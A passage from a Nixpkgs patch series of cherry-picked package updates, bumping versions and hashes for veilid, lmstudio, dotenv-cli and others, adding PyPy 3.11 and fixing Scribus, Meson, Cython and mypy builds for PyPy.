+      hash = "sha256-3Yj+neSRSSQPeeZkHJ0P6v3Sis/lg9xiygktI6Z+zDY=";
+    })
   ];
 
   postPatch = ''

From c1f9b449c3967c1e57106c03ecea25ab5fa6f3b7 Mon Sep 17 00:00:00 2001
From: Bruno Bigras <24027+bbigras@users.noreply.github.com>
Date: Thu, 7 Aug 2025 18:18:25 -0400
Subject: [PATCH 3372/4511] veilid: 0.4.7 -> 0.4.8

(cherry picked from commit 42d99ca2cd5e502b36974b8ccdd62122ced805d0)
---
 pkgs/by-name/ve/veilid/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ve/veilid/package.nix b/pkgs/by-name/ve/veilid/package.nix
index 05719eb4c5b0..727f95c6e19e 100644
--- a/pkgs/by-name/ve/veilid/package.nix
+++ b/pkgs/by-name/ve/veilid/package.nix
@@ -12,16 +12,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "veilid";
-  version = "0.4.7";
+  version = "0.4.8";
 
   src = fetchFromGitLab {
     owner = "veilid";
     repo = pname;
     rev = "v${version}";
-    hash = "sha256-SEmXZvv6951Ln87/sRQwr4FgGRSvowGyeyApfF+JnJ4=";
+    hash = "sha256-ZhF9dMYrd+nui/tw1SuL0i6zB/niBfsd40SQzRgGF6Q=";
   };
 
-  cargoHash = "sha256-2fZAds4wNLd/mWh7EWpP2hqspBfAtTHIEe+dFag7Lw4=";
+  cargoHash = "sha256-Q4M6cb9xYxeH4O7YL2K8olJ9w8Iq34hYpuJEGGhVN+Y=";
 
   nativeBuildInputs = [
     capnproto

From 3fba9c8328ce50d1c79ed14416c41542f411d457 Mon Sep 17 00:00:00 2001
From: Daniel Toubul <molder@toubul.eu>
Date: Sat, 26 Jul 2025 03:16:26 +0200
Subject: [PATCH 3373/4511] lmstudio: 0.3.18-3 -> 0.3.20-4

fixed formatting with treefmt

(cherry picked from commit 2c241f1277767d87a391386445e7d05a9d7892fd)
---
 pkgs/by-name/lm/lmstudio/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/lm/lmstudio/package.nix b/pkgs/by-name/lm/lmstudio/package.nix
index 5b09ad492418..8c453ff66944 100644
--- a/pkgs/by-name/lm/lmstudio/package.nix
+++ b/pkgs/by-name/lm/lmstudio/package.nix
@@ -7,10 +7,10 @@
 let
   pname = "lmstudio";
 
-  version_aarch64-darwin = "0.3.18-3";
-  hash_aarch64-darwin = "sha256-U720DYnywuqzZuYewzDSIqKoA5+AV7IsupmQwxOG84k=";
-  version_x86_64-linux = "0.3.18-3";
-  hash_x86_64-linux = "sha256-KnOu1fUcx1HIaijnq5K5jfALWXuU4PISPT2bF4xP9NA=";
+  version_aarch64-darwin = "0.3.20-4";
+  hash_aarch64-darwin = "sha256-7ku8lzg031f9rClKlu5e2xQEpQHrtroT0XH3doT8eGc=";
+  version_x86_64-linux = "0.3.20-4";
+  hash_x86_64-linux = "sha256-2IqNlUWqxEsQOjUE9wIJb3whXmaIvpW9ZvEAuGWYn1U=";
 
   meta = {
     description = "LM Studio is an easy to use desktop app for experimenting with local and open-source Large Language Models (LLMs)";

From 2768ae1e8b0bfd620cd541ee48076f7cdc82607f Mon Sep 17 00:00:00 2001
From: crertel <chris@kedagital.com>
Date: Tue, 5 Aug 2025 17:48:01 -0500
Subject: [PATCH 3374/4511] lmstudio: 0.3.20.4 -> 0.3.22.1

(cherry picked from commit 6e8a9912bf31f90b6eaf068e73e564221ef20fa2)
---
 pkgs/by-name/lm/lmstudio/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/lm/lmstudio/package.nix b/pkgs/by-name/lm/lmstudio/package.nix
index 8c453ff66944..3146d449ad56 100644
--- a/pkgs/by-name/lm/lmstudio/package.nix
+++ b/pkgs/by-name/lm/lmstudio/package.nix
@@ -7,10 +7,10 @@
 let
   pname = "lmstudio";
 
-  version_aarch64-darwin = "0.3.20-4";
-  hash_aarch64-darwin = "sha256-7ku8lzg031f9rClKlu5e2xQEpQHrtroT0XH3doT8eGc=";
-  version_x86_64-linux = "0.3.20-4";
-  hash_x86_64-linux = "sha256-2IqNlUWqxEsQOjUE9wIJb3whXmaIvpW9ZvEAuGWYn1U=";
+  version_aarch64-darwin = "0.3.22-1";
+  hash_aarch64-darwin = "sha256-rmIZ+NIfryZUc1nZZD36oxICGjBReO4SMCCOr9p5ID8=";
+  version_x86_64-linux = "0.3.22-1";
+  hash_x86_64-linux = "sha256-oqukPQ0kSiBpDIePwSKTC4gpbFmGZ+CaNf7p8z65xAE=";
 
   meta = {
     description = "LM Studio is an easy to use desktop app for experimenting with local and open-source Large Language Models (LLMs)";

From 25d1a82f7e341ed386479b4ecb73381373eeb7c3 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 9 Aug 2025 12:10:10 -0400
Subject: [PATCH 3375/4511] dotenv-cli: 8.0.0 -> 9.0.0

(cherry picked from commit e85ac3038e40d83f7459a49d7a24993507f23373)
---
 pkgs/by-name/do/dotenv-cli/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/do/dotenv-cli/package.nix b/pkgs/by-name/do/dotenv-cli/package.nix
index 5db7d841e907..4204344e9e68 100644
--- a/pkgs/by-name/do/dotenv-cli/package.nix
+++ b/pkgs/by-name/do/dotenv-cli/package.nix
@@ -10,18 +10,18 @@
 }:
 stdenv.mkDerivation rec {
   pname = "dotenv-cli";
-  version = "8.0.0";
+  version = "9.0.0";
 
   src = fetchFromGitHub {
     owner = "entropitor";
     repo = "dotenv-cli";
     rev = "v${version}";
-    hash = "sha256-cqJGw6z0m1ImFEmG2jfcYjaKVhrGyM4hbOAHC7xNAFY=";
+    hash = "sha256-mpVObsilwVCq1V2Z11uqK1T7VgwpfTYng2vqrTqJZE4=";
   };
 
   yarnOfflineCache = fetchYarnDeps {
     yarnLock = "${src}/yarn.lock";
-    hash = "sha256-/w9MZ+hNEwB41VwPSYEY6V0uWmZ4Tsev3h2fa/REm2E=";
+    hash = "sha256-ak6QD9Z0tE0XgFVt3QkjZxk2kelUFPX9bEF855RiY2w=";
   };
 
   nativeBuildInputs = [

From 527a77b032ca9f0940f0e8ce7912ebe15594009e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 9 Aug 2025 12:10:23 -0400
Subject: [PATCH 3376/4511] dotenv-cli: 9.0.0 -> 10.0.0

(cherry picked from commit 77c5a1d6db8497751341a8b5caea59a6f8532c25)
---
 pkgs/by-name/do/dotenv-cli/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/do/dotenv-cli/package.nix b/pkgs/by-name/do/dotenv-cli/package.nix
index 4204344e9e68..169c9ea0b3fe 100644
--- a/pkgs/by-name/do/dotenv-cli/package.nix
+++ b/pkgs/by-name/do/dotenv-cli/package.nix
@@ -10,18 +10,18 @@
 }:
 stdenv.mkDerivation rec {
   pname = "dotenv-cli";
-  version = "9.0.0";
+  version = "10.0.0";
 
   src = fetchFromGitHub {
     owner = "entropitor";
     repo = "dotenv-cli";
     rev = "v${version}";
-    hash = "sha256-mpVObsilwVCq1V2Z11uqK1T7VgwpfTYng2vqrTqJZE4=";
+    hash = "sha256-prSGIEHf6wRqOFVsn3Ws25yG7Ga2YEbiU/IMP3QeLXU=";
   };
 
   yarnOfflineCache = fetchYarnDeps {
     yarnLock = "${src}/yarn.lock";
-    hash = "sha256-ak6QD9Z0tE0XgFVt3QkjZxk2kelUFPX9bEF855RiY2w=";
+    hash = "sha256-rbG1oM1mEZSB/eYp87YMi6v9ves5YR7u7rkQRlziz7I=";
   };
 
   nativeBuildInputs = [

From cdda5f59fa2dd714858716f99d380e2f099a9d92 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Sat, 12 Jul 2025 17:32:34 +0200
Subject: [PATCH 3377/4511] scribus: fix build with poppler 25.07.0

(cherry picked from commit a7e801b185f6d893fb4fae83f4c304195152d7a9)
---
 pkgs/applications/office/scribus/default.nix | 22 +++++++++++++++-----
 1 file changed, 17 insertions(+), 5 deletions(-)

diff --git a/pkgs/applications/office/scribus/default.nix b/pkgs/applications/office/scribus/default.nix
index 42f157f81562..3b3e804befd4 100644
--- a/pkgs/applications/office/scribus/default.nix
+++ b/pkgs/applications/office/scribus/default.nix
@@ -4,6 +4,7 @@
   cmake,
   cups,
   fetchurl,
+  fetchpatch,
   fontconfig,
   freetype,
   harfbuzzFull,
@@ -67,16 +68,27 @@ stdenv.mkDerivation (finalAttrs: {
     qt5.qttools
   ];
 
-  meta = with lib; {
-    maintainers = with maintainers; [
-      arthsmn
-    ];
+  patches = [
+    (fetchpatch {
+      name = "fix-build-poppler-25.06.0.patch";
+      url = "https://github.com/scribusproject/scribus/commit/8dcf8d777bd85a0741c455961f2de382e3ed47ec.patch";
+      hash = "sha256-JBHCgvEJnYrUdtLnFSXTfr1FFin4uUNUnddYwfRbn7k=";
+    })
+    (fetchpatch {
+      name = "fix-build-poppler-25.07.0.patch";
+      url = "https://github.com/scribusproject/scribus/commit/ff6c6abfa8683028e548a269dee6a859b6f63335.patch";
+      hash = "sha256-N4jve5feehsX5H0RXdxR4ableKL+c/rTyqCwkEf37Dk=";
+    })
+  ];
+
+  meta = {
+    maintainers = with lib.maintainers; [ arthsmn ];
     description = "Desktop Publishing (DTP) and Layout program";
     mainProgram = "scribus";
     homepage = "https://www.scribus.net";
     # There are a lot of licenses...
     # https://github.com/scribusproject/scribus/blob/20508d69ca4fc7030477db8dee79fd1e012b52d2/COPYING#L15-L19
-    license = with licenses; [
+    license = with lib.licenses; [
       bsd3
       gpl2Plus
       mit

From 810095f2b7a707e23d2c5132f339fef12f5a3165 Mon Sep 17 00:00:00 2001
From: FliegendeWurst <arne.keller@posteo.de>
Date: Mon, 7 Apr 2025 12:46:10 +0200
Subject: [PATCH 3378/4511] pypy{27,310}: 7.3.17 -> 7.3.19, pypy311: init at
 7.3.19

(cherry picked from commit 2d23255ff51fd03c0280cdebcf2e87c76c71a99f)
---
 .../interpreters/python/default.nix           |  63 ++++++++---
 .../interpreters/python/pypy/default.nix      | 105 +++++++++++++++++-
 .../interpreters/python/pypy/prebuilt_2_7.nix |   1 -
 pkgs/top-level/all-packages.nix               |   4 +-
 4 files changed, 153 insertions(+), 20 deletions(-)

diff --git a/pkgs/development/interpreters/python/default.nix b/pkgs/development/interpreters/python/default.nix
index 181a3affbd20..e853fc21d9ac 100644
--- a/pkgs/development/interpreters/python/default.nix
+++ b/pkgs/development/interpreters/python/default.nix
@@ -138,10 +138,10 @@
       sourceVersion = {
         major = "7";
         minor = "3";
-        patch = "17";
+        patch = "19";
       };
 
-      hash = "sha256-UOBoQPS73pFEgICkEYBoqJuPvK4l/42h4rsUAtyaA0Y=";
+      hash = "sha256-hwPNywH5+Clm3UO2pgGPFAOZ21HrtDwSXB+aIV57sAM=";
       pythonVersion = "2.7";
       db = db.override { dbmSupport = !stdenv.hostPlatform.isDarwin; };
       python = __splicedPackages.pythonInterpreters.pypy27_prebuilt;
@@ -153,31 +153,46 @@
       sourceVersion = {
         major = "7";
         minor = "3";
-        patch = "17";
+        patch = "19";
       };
 
-      hash = "sha256-atdLxXjpxtOoocUVAzEwWOPFjDXfhvdIVFPEvmqyS/c=";
+      hash = "sha256-p8IpMLkY9Ahwhl7Yp0FH9ENO+E09bKKzweupNV1JKcg=";
       pythonVersion = "3.10";
       db = db.override { dbmSupport = !stdenv.hostPlatform.isDarwin; };
       python = __splicedPackages.pypy27;
       inherit passthruFun;
     };
 
+    pypy311 = callPackage ./pypy {
+      self = __splicedPackages.pypy311;
+      sourceVersion = {
+        major = "7";
+        minor = "3";
+        patch = "19";
+      };
+
+      hash = "sha256-SBfARLtGmjJ05gqjZFdw+B60+RZup/3E5sNRNFVUyNg=";
+      pythonVersion = "3.11";
+      db = db.override { dbmSupport = !stdenv.hostPlatform.isDarwin; };
+      python = __splicedPackages.pypy27;
+      inherit passthruFun;
+    };
+
     pypy27_prebuilt = callPackage ./pypy/prebuilt_2_7.nix {
       # Not included at top-level
       self = __splicedPackages.pythonInterpreters.pypy27_prebuilt;
       sourceVersion = {
         major = "7";
         minor = "3";
-        patch = "17";
+        patch = "19";
       };
 
       hash =
         {
-          aarch64-linux = "sha256-qN9c4WUPR1aTP4eAhwyRoKQOfJhw10YpvyQTkry1wuM=";
-          x86_64-linux = "sha256-nzSX+HszctF+RHNp4AFqS+yZprTSpZq6d0olv+Q1NHQ=";
-          aarch64-darwin = "sha256-gCJIc5sqzIwb5tlH8Zsy/A44wI4xKzXAXMf7IvEHCeQ=";
-          x86_64-darwin = "sha256-gtRgQhRmyBraSh2Z3y3xuLNTQbOXyF///lGkwwItCDM=";
+          aarch64-linux = "sha256-/onU/UrxP3bf5zFZdQA1GM8XZSDjzOwVRKiNF09QkQ4=";
+          x86_64-linux = "sha256-04RFUIwurxTrs4DZwd7TIcXr6uMcfmaAAXPYPLjd9CM=";
+          aarch64-darwin = "sha256-KHgOC5CK1ttLTglvQjcSS+eezJcxlG2EDZyHSetnp1k=";
+          x86_64-darwin = "sha256-a+KNRI2OZP/8WG2bCuTQkGSoPMrrW4BgxlHFzZrgaHg=";
         }
         .${stdenv.system};
       pythonVersion = "2.7";
@@ -190,19 +205,39 @@
       sourceVersion = {
         major = "7";
         minor = "3";
-        patch = "17";
+        patch = "19";
       };
       hash =
         {
-          aarch64-linux = "sha256-v79JVJirwv53G2C/ZOXDwHLgr7z8pprHKCxP9Dd/9BY=";
-          x86_64-linux = "sha256-NA2kGWYGsiRQmhuLMa/SAYE/CCYB3xicE46QXB1g4K8=";
-          aarch64-darwin = "sha256-KPKf/JxcyQbo6QgT/BRPA34js4TwUuGE4kIzL3tgqwY=";
-          x86_64-darwin = "sha256-I/8mS3PlvFt8OhufrHdosj35bH1mDLZBLxxSNSGjNL8=";
+          aarch64-linux = "sha256-ryeliRePERmOIkSrZcpRBjC6l8Ex18zEAh61vFjef1c=";
+          x86_64-linux = "sha256-xzrCzCOArJIn/Sl0gr8qPheoBhi6Rtt1RNU1UVMh7B4=";
+          aarch64-darwin = "sha256-PbigP8SWFkgBZGhE1/OxK6oK2zrZoLfLEkUhvC4WijY=";
+          x86_64-darwin = "sha256-LF5cKjOsiCVR1/KLmNGdSGuJlapQgkpztO3Mau7DXGM=";
         }
         .${stdenv.system};
       pythonVersion = "3.10";
       inherit passthruFun;
     };
+
+    pypy311_prebuilt = callPackage ./pypy/prebuilt.nix {
+      # Not included at top-level
+      self = __splicedPackages.pythonInterpreters.pypy311_prebuilt;
+      sourceVersion = {
+        major = "7";
+        minor = "3";
+        patch = "19";
+      };
+      hash =
+        {
+          aarch64-linux = "sha256-EyB9v4HOJOltp2CxuGNie3e7ILH7TJUZHgKgtyOD33Q=";
+          x86_64-linux = "sha256-kXfZ4LuRsF+SHGQssP9xoPNlO10ppC1A1qB4wVt1cg8=";
+          aarch64-darwin = "sha256-dwTg1TAuU5INMtz+mv7rEENtTJQjPogwz2A6qVWoYcE=";
+          x86_64-darwin = "sha256-okOfnTDf2ulqXpEBx9xUqKaLVsnXMU6jmbCiXT6H67I=";
+        }
+        .${stdenv.system};
+      pythonVersion = "3.11";
+      inherit passthruFun;
+    };
   }
   // lib.optionalAttrs config.allowAliases {
     pypy39_prebuilt = throw "pypy 3.9 has been removed, use pypy 3.10 instead"; # Added 2025-01-03
diff --git a/pkgs/development/interpreters/python/pypy/default.nix b/pkgs/development/interpreters/python/pypy/default.nix
index 716901519113..93dadcfce437 100644
--- a/pkgs/development/interpreters/python/pypy/default.nix
+++ b/pkgs/development/interpreters/python/pypy/default.nix
@@ -120,6 +120,9 @@ stdenv.mkDerivation rec {
   dontPatchShebangs = true;
   disallowedReferences = [ python ];
 
+  # fix compiler error in curses cffi module, where char* != const char*
+  NIX_CFLAGS_COMPILE =
+    if stdenv.cc.isClang then "-Wno-error=incompatible-function-pointer-types" else null;
   C_INCLUDE_PATH = lib.makeSearchPathOutput "dev" "include" buildInputs;
   LIBRARY_PATH = lib.makeLibraryPath buildInputs;
   LD_LIBRARY_PATH = lib.makeLibraryPath (
@@ -191,13 +194,18 @@ stdenv.mkDerivation rec {
       mkdir -p $out/${executable}-c/pypy/bin
       mv $out/bin/${executable} $out/${executable}-c/pypy/bin/${executable}
       ln -s $out/${executable}-c/pypy/bin/${executable} $out/bin/${executable}
+    ''
+    # _testcapi is compiled dynamically, into the store.
+    # This would fail if we don't do it here.
+    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+      pushd /
+      $out/bin/${executable} -c "from test import support"
+      popd
     '';
 
   setupHook = python-setup-hook sitePackages;
 
-  # TODO: A bunch of tests are failing as of 7.1.1, please feel free to
-  # fix and re-enable if you have the patience and tenacity.
-  doCheck = false;
+  # TODO: Investigate why so many tests are failing.
   checkPhase =
     let
       disabledTests = [
@@ -211,6 +219,9 @@ stdenv.mkDerivation rec {
         "test_urllib2net"
         "test_urllibnet"
         "test_urllib2_localnet"
+        # test_subclass fails with "internal error"
+        # test_load_default_certs_env fails for unknown reason
+        "test_ssl"
       ]
       ++ lib.optionals isPy3k [
         # disable asyncio due to https://github.com/NixOS/nix/issues/1238
@@ -224,6 +235,88 @@ stdenv.mkDerivation rec {
         # disable __all__ because of spurious imp/importlib warning and
         # warning-to-error test policy
         "test___all__"
+        # fail for multiple reasons, TODO: investigate
+        "test__opcode"
+        "test_ast"
+        "test_audit"
+        "test_builtin"
+        "test_c_locale_coercion"
+        "test_call"
+        "test_class"
+        "test_cmd_line"
+        "test_cmd_line_script"
+        "test_code"
+        "test_code_module"
+        "test_codeop"
+        "test_compile"
+        "test_coroutines"
+        "test_cprofile"
+        "test_ctypes"
+        "test_embed"
+        "test_exceptions"
+        "test_extcall"
+        "test_frame"
+        "test_generators"
+        "test_grammar"
+        "test_idle"
+        "test_iter"
+        "test_itertools"
+        "test_list"
+        "test_marshal"
+        "test_memoryio"
+        "test_memoryview"
+        "test_metaclass"
+        "test_mmap"
+        "test_multibytecodec"
+        "test_opcache"
+        "test_pdb"
+        "test_peepholer"
+        "test_positional_only_arg"
+        "test_print"
+        "test_property"
+        "test_pyclbr"
+        "test_range"
+        "test_re"
+        "test_readline"
+        "test_regrtest"
+        "test_repl"
+        "test_rlcompleter"
+        "test_signal"
+        "test_sort"
+        "test_source_encoding"
+        "test_ssl"
+        "test_string_literals"
+        "test_structseq"
+        "test_subprocess"
+        "test_super"
+        "test_support"
+        "test_syntax"
+        "test_sys"
+        "test_sys_settrace"
+        "test_tcl"
+        "test_termios"
+        "test_threading"
+        "test_trace"
+        "test_tty"
+        "test_unpack_ex"
+        "test_utf8_mode"
+        "test_weakref"
+        "test_capi"
+        "test_concurrent_futures"
+        "test_dataclasses"
+        "test_doctest"
+        "test_future_stmt"
+        "test_importlib"
+        "test_inspect"
+        "test_pydoc"
+        "test_warnings"
+      ]
+      ++ lib.optionals isPy310 [
+        "test_contextlib_async"
+        "test_future"
+        "test_lzma"
+        "test_module"
+        "test_typing"
       ];
     in
     ''
@@ -261,6 +354,7 @@ stdenv.mkDerivation rec {
 
   meta = with lib; {
     homepage = "https://www.pypy.org/";
+    changelog = "https://doc.pypy.org/en/stable/release-v${version}.html";
     description = "Fast, compliant alternative implementation of the Python language (${pythonVersion})";
     mainProgram = "pypy";
     license = licenses.mit;
@@ -271,6 +365,9 @@ stdenv.mkDerivation rec {
       "x86_64-darwin"
     ];
     broken = optimizationLevel == "0"; # generates invalid code
-    maintainers = with maintainers; [ andersk ];
+    maintainers = with maintainers; [
+      andersk
+      fliegendewurst
+    ];
   };
 }
diff --git a/pkgs/development/interpreters/python/pypy/prebuilt_2_7.nix b/pkgs/development/interpreters/python/pypy/prebuilt_2_7.nix
index 1914b24b041d..4419485b3db6 100644
--- a/pkgs/development/interpreters/python/pypy/prebuilt_2_7.nix
+++ b/pkgs/development/interpreters/python/pypy/prebuilt_2_7.nix
@@ -99,7 +99,6 @@ stdenv.mkDerivation {
     mv -t $out bin include lib-python lib_pypy site-packages
     mv $out/bin/libpypy*-c${stdenv.hostPlatform.extensions.sharedLibrary} $out/lib/
     ${lib.optionalString stdenv.hostPlatform.isLinux ''
-      mv lib/libffi.so.6* $out/lib/
       rm $out/bin/*.debug
     ''}
 
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 0a479a40339a..0432fa33c715 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -6609,7 +6609,7 @@ with pkgs;
 
   pypy = pypy2;
   pypy2 = pypy27;
-  pypy3 = pypy310;
+  pypy3 = pypy311;
 
   # Python interpreter that is build with all modules, including tkinter.
   # These are for compatibility and should not be used inside Nixpkgs.
@@ -6683,6 +6683,7 @@ with pkgs;
     python3Minimal
     pypy27
     pypy310
+    pypy311
     ;
 
   # List of extensions with overrides to apply to all Python package sets.
@@ -6700,6 +6701,7 @@ with pkgs;
   pypy27Packages = pypy27.pkgs;
   pypy3Packages = pypy3.pkgs;
   pypy310Packages = pypy310.pkgs;
+  pypy311Packages = pypy311.pkgs;
 
   pythonManylinuxPackages = callPackage ./../development/interpreters/python/manylinux { };
 

From d0076094b77d158c6cc1d7a66d440cedb8e05e88 Mon Sep 17 00:00:00 2001
From: FliegendeWurst <arne.keller@posteo.de>
Date: Tue, 8 Apr 2025 09:28:01 +0200
Subject: [PATCH 3379/4511] pypy3Packages.mypy: disable

(cherry picked from commit 81b65170bb619c2af655c91acbf5e23dc9cc6e0b)
---
 pkgs/development/python-modules/mypy/default.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/python-modules/mypy/default.nix b/pkgs/development/python-modules/mypy/default.nix
index a2db57da9021..79a0cd86947f 100644
--- a/pkgs/development/python-modules/mypy/default.nix
+++ b/pkgs/development/python-modules/mypy/default.nix
@@ -6,6 +6,7 @@
   gitUpdater,
   pythonAtLeast,
   pythonOlder,
+  isPyPy,
 
   # build-system
   setuptools,
@@ -35,7 +36,8 @@ buildPythonPackage rec {
   version = "1.15.0";
   pyproject = true;
 
-  disabled = pythonOlder "3.8";
+  # relies on several CPython internals
+  disabled = pythonOlder "3.8" || isPyPy;
 
   src = fetchFromGitHub {
     owner = "python";

From 9d71177735d949e2ef20dafc637d16cc7e30cc09 Mon Sep 17 00:00:00 2001
From: FliegendeWurst <arne.keller@posteo.de>
Date: Tue, 8 Apr 2025 09:28:01 +0200
Subject: [PATCH 3380/4511] pypy.tests: disable broken test

(cherry picked from commit 233f899f64bb97a681d2983604c44e924c7f917f)
---
 pkgs/development/interpreters/python/tests.nix | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/python/tests.nix b/pkgs/development/interpreters/python/tests.nix
index e06d90141024..779e2b9f683d 100644
--- a/pkgs/development/interpreters/python/tests.nix
+++ b/pkgs/development/interpreters/python/tests.nix
@@ -237,7 +237,8 @@ let
       }
     );
 
-  condaTests =
+  # depends on mypy, which depends on CPython internals
+  condaTests = lib.optionalAttrs (!python.isPyPy) (
     let
       requests = callPackage (
         {
@@ -277,7 +278,8 @@ let
       condaExamplePackage = runCommand "import-requests" { } ''
         ${pythonWithRequests.interpreter} -c "import requests" > $out
       '';
-    };
+    }
+  );
 
 in
 lib.optionalAttrs (stdenv.hostPlatform == stdenv.buildPlatform) (

From df2125011a0ca42f467567a0e37e6793db964ba1 Mon Sep 17 00:00:00 2001
From: FliegendeWurst <arne.keller@posteo.de>
Date: Tue, 8 Apr 2025 09:28:01 +0200
Subject: [PATCH 3381/4511] meson: fix build when using pypy

(cherry picked from commit 7ecebd4a14589e16f2800b63506fa919bf53f413)
---
 pkgs/by-name/me/meson/package.nix | 30 +++++++++++++++++++++++++++++-
 1 file changed, 29 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/me/meson/package.nix b/pkgs/by-name/me/meson/package.nix
index 6d2b50929d6e..ff696d57a0c0 100644
--- a/pkgs/by-name/me/meson/package.nix
+++ b/pkgs/by-name/me/meson/package.nix
@@ -10,6 +10,7 @@
   pkg-config,
   python3,
   replaceVars,
+  writeShellScriptBin,
   zlib,
 }:
 
@@ -66,11 +67,32 @@ python3.pkgs.buildPythonApplication rec {
     ./007-freebsd-pkgconfig-path.patch
   ];
 
+  postPatch =
+    if python3.isPyPy then
+      ''
+        substituteInPlace mesonbuild/modules/python.py \
+          --replace-fail "PythonExternalProgram('python3', mesonlib.python_command)" \
+                         "PythonExternalProgram('${python3.meta.mainProgram}', mesonlib.python_command)"
+        substituteInPlace mesonbuild/modules/python3.py \
+          --replace-fail "state.environment.lookup_binary_entry(mesonlib.MachineChoice.HOST, 'python3')" \
+                         "state.environment.lookup_binary_entry(mesonlib.MachineChoice.HOST, '${python3.meta.mainProgram}')"
+        substituteInPlace "test cases"/*/*/*.py "test cases"/*/*/*/*.py \
+          --replace-quiet '#!/usr/bin/env python3' '#!/usr/bin/env pypy3' \
+          --replace-quiet '#! /usr/bin/env python3' '#!/usr/bin/env pypy3'
+        chmod +x "test cases"/*/*/*.py "test cases"/*/*/*/*.py
+      ''
+    else
+      null;
+
   nativeBuildInputs = [ installShellFiles ];
 
   nativeCheckInputs = [
     ninja
     pkg-config
+  ]
+  ++ lib.optionals python3.isPyPy [
+    # Several tests hardcode python3.
+    (writeShellScriptBin "python3" ''exec pypy3 "$@"'')
   ];
 
   checkInputs = [
@@ -115,9 +137,15 @@ python3.pkgs.buildPythonApplication rec {
         # pch doesn't work quite right on FreeBSD, I think
         ''test cases/common/13 pch''
       ]
+      ++ lib.optionals python3.isPyPy [
+        # fails for unknown reason
+        ''test cases/python/4 custom target depends extmodule''
+      ]
     ))
     ++ [
-      ''HOME="$TMPDIR" python ./run_project_tests.py''
+      ''HOME="$TMPDIR" ${
+        if python3.isPyPy then python3.interpreter else "python"
+      } ./run_project_tests.py''
       "runHook postCheck"
     ]
   );

From b9728122ba70233eaa2575eb74da3f914ee960bb Mon Sep 17 00:00:00 2001
From: FliegendeWurst <arne.keller@posteo.de>
Date: Tue, 8 Apr 2025 09:28:01 +0200
Subject: [PATCH 3382/4511] pypy3Packages.cython: fix

(cherry picked from commit 214357a159992e44f8aef1f4898c8fa6dcdf3f4c)
---
 pkgs/development/python-modules/cython/default.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/python-modules/cython/default.nix b/pkgs/development/python-modules/cython/default.nix
index 28e2ee2de78a..45fc174577ae 100644
--- a/pkgs/development/python-modules/cython/default.nix
+++ b/pkgs/development/python-modules/cython/default.nix
@@ -3,6 +3,7 @@
   buildPythonPackage,
   fetchFromGitHub,
   gdb,
+  isPyPy,
   ncurses,
   numpy,
   pkg-config,
@@ -36,7 +37,9 @@ buildPythonPackage rec {
     ncurses
   ];
 
-  env.LC_ALL = "en_US.UTF-8";
+  env = lib.optionalAttrs (!isPyPy) {
+    LC_ALL = "en_US.UTF-8";
+  };
 
   # https://github.com/cython/cython/issues/2785
   # Temporary solution

From f36aefcee2561af1049b5d159bb71b24b068ea38 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 12 Jul 2025 16:18:41 +0000
Subject: [PATCH 3383/4511] ananicy-rules-cachyos: 0-unstable-2025-03-19 ->
 0-unstable-2025-07-06

(cherry picked from commit 90c068fb42aafd0b5df779cece0c176a9bb55c07)
---
 pkgs/by-name/an/ananicy-rules-cachyos/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/an/ananicy-rules-cachyos/package.nix b/pkgs/by-name/an/ananicy-rules-cachyos/package.nix
index 2914da7fcd46..44632ea8ab7b 100644
--- a/pkgs/by-name/an/ananicy-rules-cachyos/package.nix
+++ b/pkgs/by-name/an/ananicy-rules-cachyos/package.nix
@@ -7,13 +7,13 @@
 
 stdenvNoCC.mkDerivation {
   pname = "ananicy-rules-cachyos";
-  version = "0-unstable-2025-03-19";
+  version = "0-unstable-2025-07-06";
 
   src = fetchFromGitHub {
     owner = "CachyOS";
     repo = "ananicy-rules";
-    rev = "99693d533a238c19915057f9cd5e541e6dbf57d9";
-    hash = "sha256-dTGfOw2Cj4q3AiQswcyl9bWUw1qInyqap43r4j+qS1Y=";
+    rev = "339bee6f2de3de8e866c23b210baf6cabf153549";
+    hash = "sha256-D/+/7NdfV8kHwYm5mJ6b7Vl3QCUdK2+NbZSefWTZt5k=";
   };
 
   dontConfigure = true;

From 9a1f61be71d16816cd5212088b3edb2dea23d5aa Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 6 Aug 2025 22:48:23 +0000
Subject: [PATCH 3384/4511] ananicy-rules-cachyos: 0-unstable-2025-07-06 ->
 0-unstable-2025-08-06

(cherry picked from commit 5db8ee9dbd4d2b394a408c74527968e7a09b0747)
---
 pkgs/by-name/an/ananicy-rules-cachyos/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/an/ananicy-rules-cachyos/package.nix b/pkgs/by-name/an/ananicy-rules-cachyos/package.nix
index 44632ea8ab7b..7108d39dfef7 100644
--- a/pkgs/by-name/an/ananicy-rules-cachyos/package.nix
+++ b/pkgs/by-name/an/ananicy-rules-cachyos/package.nix
@@ -7,13 +7,13 @@
 
 stdenvNoCC.mkDerivation {
   pname = "ananicy-rules-cachyos";
-  version = "0-unstable-2025-07-06";
